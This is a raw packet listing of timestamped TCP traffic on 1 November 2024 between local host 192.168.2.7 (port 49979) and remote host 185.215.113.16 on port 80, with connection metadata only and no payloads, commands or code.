Nov 1, 2024 12:14:39.233624935 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.233624935 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.233632088 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.233644009 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.233650923 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.233654976 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.233663082 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.233676910 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.233685017 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.233690977 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.233726978 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.233726978 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.233767986 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.233781099 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.233793020 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.233803988 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.233810902 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.233814955 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.233829021 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.233833075 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.233850002 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.233853102 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.233853102 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.233870029 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.233870029 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.233885050 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.233896971 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.233897924 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.233913898 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.233918905 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.233918905 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.233927965 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.233939886 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.233954906 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.233963013 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.233974934 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.233987093 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.233994961 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.234004021 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.234016895 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.234029055 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.234030962 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.234041929 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.234055996 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.234081984 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.234082937 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.234107018 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.234169006 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.234181881 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.234193087 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.234219074 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.234237909 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.234241962 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.234255075 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.234266043 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.234277964 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.234288931 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.234291077 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.234313965 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.234354019 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.234365940 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.234374046 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.234380007 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.234410048 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.234410048 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.234417915 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.234433889 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.234437943 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.234451056 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.234456062 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.234463930 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.234474897 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.234486103 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.234488010 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.234488010 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.234515905 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.234523058 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.234523058 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.234529972 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.234532118 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.234554052 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.234555960 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.234568119 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.234574080 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.234594107 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.234594107 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.234606981 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.234627962 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.234627962 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.234630108 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.234643936 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.234654903 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.234683037 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.234684944 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.234684944 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.234697104 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.234709024 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.234720945 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.234723091 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.234733105 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.234735012 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.234749079 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.234780073 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.234780073 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.234810114 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.234908104 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.234970093 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.234981060 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.234994888 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.235023975 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.235043049 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.235102892 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.235121965 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.235136986 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.235148907 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.235160112 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.235160112 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.235162973 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.235208035 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.235208035 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.235235929 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.235249043 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.235260963 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.235275030 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.235282898 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.235282898 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.235286951 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.235333920 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.235333920 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.235372066 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.235385895 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.235398054 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.235404968 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.235419989 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.235436916 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.235451937 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.235471010 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.235485077 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.235486984 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.235498905 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.235510111 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.235522985 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.235522985 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.235522985 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.235557079 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.235557079 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.235877037 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.235891104 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.235904932 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.235930920 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.235937119 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.235937119 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.235945940 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.235958099 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.235965967 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.235965967 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.235971928 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.235985994 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.236016035 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.236016035 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.236069918 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.236082077 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.236095905 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.236109018 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.236120939 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.236124039 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.236133099 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.236136913 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.236161947 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.236161947 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.236177921 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.236177921 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.236192942 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.236211061 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.236222029 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.236228943 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.236243010 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.236243010 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.236243010 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.236267090 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.236275911 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.236275911 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.236289024 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.236303091 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.236308098 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.236316919 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.236332893 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.236345053 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.236345053 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.236357927 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.236365080 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.236377954 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.236383915 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.236392021 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.236404896 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.236412048 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.236412048 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.236418009 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.236427069 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.236430883 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.236444950 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.236464024 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.236468077 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.236480951 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.236493111 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.236499071 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.236499071 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.236506939 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.236520052 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.236521006 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.236532927 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.236547947 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.236557007 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.236557007 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.236561060 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.236574888 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.236582041 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.236608982 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.236635923 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.265889883 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.265904903 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.265918016 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.265930891 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.265964031 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.265966892 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.265980005 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.265991926 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.266004086 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.266005039 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.266019106 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.266031981 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.266045094 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.266045094 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.266067028 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.266072989 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.266087055 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.266098976 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.266135931 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.266135931 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.266180038 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.266205072 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.266223907 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.266227007 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.266237020 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.266249895 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.266251087 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.266263008 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.266274929 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.266282082 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.266282082 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.266288042 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.266304016 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.266307116 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.266352892 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.266352892 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.344188929 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.344206095 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.344218969 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.344232082 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.344269991 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.344276905 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.344290018 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.344302893 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.344305992 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.344316006 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.344340086 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.344347000 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.344352961 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.344361067 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.344373941 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.344386101 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.344386101 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.344399929 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.344419003 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.344419956 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.344434023 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.344449043 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.344449043 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.344449043 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.344470978 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.344480038 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.344502926 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.344521046 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.344528913 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.344528913 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.344536066 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.344548941 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.344561100 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.344568014 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.344573021 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.344588995 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.344588995 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.344628096 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.344640017 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.344651937 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.344666004 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.344674110 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.344676971 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.344702959 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.344705105 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.344724894 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.344731092 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.344753027 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.344757080 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.344770908 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.344782114 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.344795942 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.344803095 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.344803095 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.344820976 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.344820976 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.344835997 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.344842911 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.344873905 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.344882965 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.344890118 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.344901085 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.344913960 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.344927073 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.344943047 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.344943047 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.344957113 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.344965935 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.344970942 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.344979048 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.344983101 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.344995975 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.344997883 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.345011950 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.345016003 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.345041037 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.345043898 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.345056057 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.345067978 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.345067978 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.345082045 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.345081091 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.345107079 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.345117092 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.345119953 CET	80	49979	185.215.113.16	192.168.2.7
